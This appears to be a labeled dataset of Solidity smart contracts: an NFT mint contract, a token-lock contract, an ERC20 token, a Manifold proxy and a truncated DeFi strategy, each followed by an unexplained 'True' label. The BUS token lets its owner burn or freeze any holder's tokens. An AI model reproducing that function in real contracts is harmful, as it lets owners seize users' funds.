"ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: contracts/LowGas.sol // Amended by HashLips /** !Disclaimer! These contracts have been used to create tutorials, and was created for the purpose to teach people how to create smart contracts on the blockchain. please review this code on your own before using any of the following code for production. The developer will not be responsible or liable for all loss or damage whatsoever caused by you participating in any way in the experimental code, whether putting money into the contract or using the code for your own project. */ pragma solidity >=0.7.0 <0.9.0; contract MetaEliteClub is ERC721, Ownable { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; string public uriPrefix = ""; string public uriSuffix = ".json"; string public hiddenMetadataUri; uint256 public cost = 0.15 ether; uint256 public maxSupply = 9977; uint256 public maxMintAmountPerTx = 5; bool public paused = true; bool public revealed = false; constructor() ERC721("Meta Elite Club", "MEC") { setHiddenMetadataUri("ipfs://QmcjrWHTS1xfnBX3r4cvHgFrUEi4xScoMp6YdjvdWgY4sH/hidden.json"); } modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!"); require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!"); _; } function totalSupply() public view returns (uint256) { return supply.current(); } function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) { require(!paused, "The contract is paused!"); require(msg.value >= cost * _mintAmount, "Insufficient funds!"); _mintLoop(msg.sender, _mintAmount); } function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner { _mintLoop(_receiver, _mintAmount); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ""; } function setRevealed(bool _state) public onlyOwner { revealed = _state; } function setCost(uint256 _cost) public onlyOwner { cost = _cost; } function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner { maxMintAmountPerTx = _maxMintAmountPerTx; } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { hiddenMetadataUri = _hiddenMetadataUri; } function setUriPrefix(string memory _uriPrefix) public onlyOwner { uriPrefix = _uriPrefix; } function setUriSuffix(string memory _uriSuffix) public onlyOwner { uriSuffix = _uriSuffix; } function setPaused(bool _state) public onlyOwner { paused = _state; } function withdraw() public onlyOwner { // This will transfer the remaining contract balance to the owner. // Do not remove this otherwise you will not be able to withdraw the funds. // ============================================================================= (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); // ============================================================================= } function _mintLoop(address _receiver, uint256 _mintAmount) internal { for (uint256 i = 0; i < _mintAmount; i++) { supply.increment(); _safeMint(_receiver, supply.current()); } } function _baseURI() internal view virtual override returns (string memory) { return uriPrefix; } }

True

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pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30326400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x01C8bc0F64C9cCF3a91343eCe57418F73E66111e; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }

True

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pragma solidity ^0.4.18; contract ERC20 { uint256 public totalSupply; function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); event Transfer(address indexed _from, address indexed _to, uint _value); /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); /* This notifies clients about the amount frozen */ event Freeze(address indexed from, uint256 value); /* This notifies clients about the amount unfrozen */ event Unfreeze(address indexed from, uint256 value); } contract Owned{ address public owner; function Owned() public { owner = msg.sender; } modifier onlyOwner{ if(msg.sender != owner){ revert(); }else{ _; } } function transferOwner(address newOwner) onlyOwner public { owner = newOwner; } } /* Math operations with safety checks */ contract SafeMath { function safeMul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } function assert(bool assertion) internal { if (!assertion) { revert(); } } } contract BUS is ERC20, Owned, SafeMath{ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => uint256) public freezeOf; mapping (address => mapping (address => uint256)) public allowance; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); /* This notifies clients about the amount frozen */ event Freeze(address indexed from, uint256 value); /* This notifies clients about the amount unfrozen */ event Unfreeze(address indexed from, uint256 value); /* Initializes contract with initial supply tokens to the creator of the contract */ function BUS(uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol) public{ balanceOf[msg.sender] = initialSupply; totalSupply = initialSupply; name = tokenName; symbol = tokenSymbol; decimals = decimalUnits; } /* Send coins */ function transfer(address _to, uint256 _value) public returns (bool success){ require(_to != 0x0); require(_value > 0); require(balanceOf[msg.sender] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); Transfer(msg.sender, _to, _value); return true; } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != 0x0); require(_value > 0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value) public returns (bool success) { require(_value > 0); allowance[msg.sender][_spender] = _value; return true; } function burn(address _target, uint256 _value) onlyOwner public returns (bool success) { require(_value > 0); require(_target != 0x0); require(balanceOf[_target] >= _value); balanceOf[_target] = SafeMath.safeSub(balanceOf[_target], _value); totalSupply = SafeMath.safeSub(totalSupply,_value); Burn(_target, _value); return true; } function freeze(address _target, uint256 _value) onlyOwner public returns (bool success) { require(_value > 0); require(_target != 0x0); require(balanceOf[_target] >= _value); balanceOf[_target] = SafeMath.safeSub(balanceOf[_target], _value); freezeOf[_target] = SafeMath.safeAdd(freezeOf[_target], _value); Freeze(_target, _value); return true; } function unfreeze(address _target, uint256 _value) onlyOwner public returns (bool success) { require(_value > 0); require(_target != 0x0); require(freezeOf[_target] >= _value); freezeOf[_target] = SafeMath.safeSub(freezeOf[_target], _value); balanceOf[_target] = SafeMath.safeAdd(balanceOf[_target], _value); Unfreeze(_target, _value); return true; } function withdrawEther(uint256 amount) onlyOwner public{ owner.transfer(amount); } function() payable public{ } }

True

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// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: CGPOV /// @author: manifold.xyz import "./ERC721Creator.sol"; /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // // // ________/\\\\\\\\\_ _____/\\\\\\\\\\\\_ __/\\\\\\\\\\\\\___ _______/\\\\\______ __/\\\________/\\\_ // // _____/\\\////////__ ___/\\\//////////__ _\/\\\/////////\\\_ _____/\\\///\\\____ _\/\\\_______\/\\\_ // // ___/\\\/___________ __/\\\_____________ _\/\\\_______\/\\\_ ___/\\\/__\///\\\__ _\//\\\______/\\\__ // // __/\\\_____________ _\/\\\____/\\\\\\\_ _\/\\\\\\\\\\\\\/__ __/\\\______\//\\\_ __\//\\\____/\\\___ // // _\/\\\_____________ _\/\\\___\/////\\\_ _\/\\\/////////____ _\/\\\_______\/\\\_ ___\//\\\__/\\\____ // // _\//\\\____________ _\/\\\_______\/\\\_ _\/\\\_____________ _\//\\\______/\\\__ ____\//\\\/\\\_____ // // __\///\\\__________ _\/\\\_______\/\\\_ _\/\\\_____________ __\///\\\__/\\\____ _____\//\\\\\______ // // ____\////\\\\\\\\\_ _\//\\\\\\\\\\\\/__ _\/\\\_____________ ____\///\\\\\/_____ ______\//\\\_______ // // _______\/////////__ __\////////////____ _\///______________ ______\/////_______ _______\///________ // // // // // // // /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract CGPOV is ERC721Creator { constructor() ERC721Creator("CGPOV", "CGPOV") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }

True

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// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.0; import '@openzeppelin/contracts/utils/math/SafeMath.sol'; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "./interface/IStrategy.sol"; import "./interface/ICurveFi.sol"; import "./interface/IConvexBaseReward.sol"; import "./interface/IConvexBooster.sol"; import "./interface/IUniswapV2Router01.sol"; contract AnkrethStrategy is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; address public crvLpToken; address public crvPool; address public nativeVault; address public convexReward; uint256 public poolId; address public sushiRouter; address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52); address public constant cvx = address(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B); address public constant ankr = address(0x8290333ceF9e6D528dD5618Fb97a76f268f3EDD4); address public constant onx = address(0xE0aD1806Fd3E7edF6FF52Fdb822432e847411033); address public convexBooster = address(0xF403C135812408BFbE8713b5A23a04b3D48AAE31); // Slippage tolerance accepted (10 = 0.1%) uint8 public SLIPPAGE_TOLERANCE = 10; event Withdraw(uint256 amount); event Deposit(uint256 amount); event Harvest(uint256 crvAmount, uint256 cvxAmount, uint256 lpAmount); mapping(address => uint256) public balance; modifier onlyNativeVault { require(msg.sender == nativeVault, "You are not allowed"); _; } constructor(address _crvLpToken, address _curvePool, uint256 _poolId, address _convexRewards, address _sushiRouter) { crvLpToken = _crvLpToken; crvPool = _curvePool; poolId = _poolId; convexReward = _convexRewards; sushiRouter = _sushiRouter; } receive() external payable {} function deposit() external onlyNativeVault payable returns (uint256){ require(msg.value > 0, "Deposit positive amount"); uint256 amountToDeposit = msg.value; uint256 lpAmount = _deposit(amountToDeposit); return lpAmount; } function withdraw(uint256 lpAmount) onlyNativeVault external returns (uint256) { return _withdraw(lpAmount); } function withdrawAll() onlyNativeVault external returns (uint256) { uint256 lpAmount = IConvexBaseReward(convexReward).balanceOf(address(this)); return _withdraw(lpAmount); } function harvest(bool _compoundRewards) external { require(IConvexBaseReward(convexReward).getReward(), "Convex claim failed"); uint256 lpAmount = 0; uint256 crvBal = IERC20(crv).balanceOf(address(this)); uint256 cvxBal = IERC20(cvx).balanceOf(address(this)); uint256 onxBal = IERC20(onx).balanceOf(address(this)); uint256 ankrBal = IERC20(ankr).balanceOf(address(this)); if 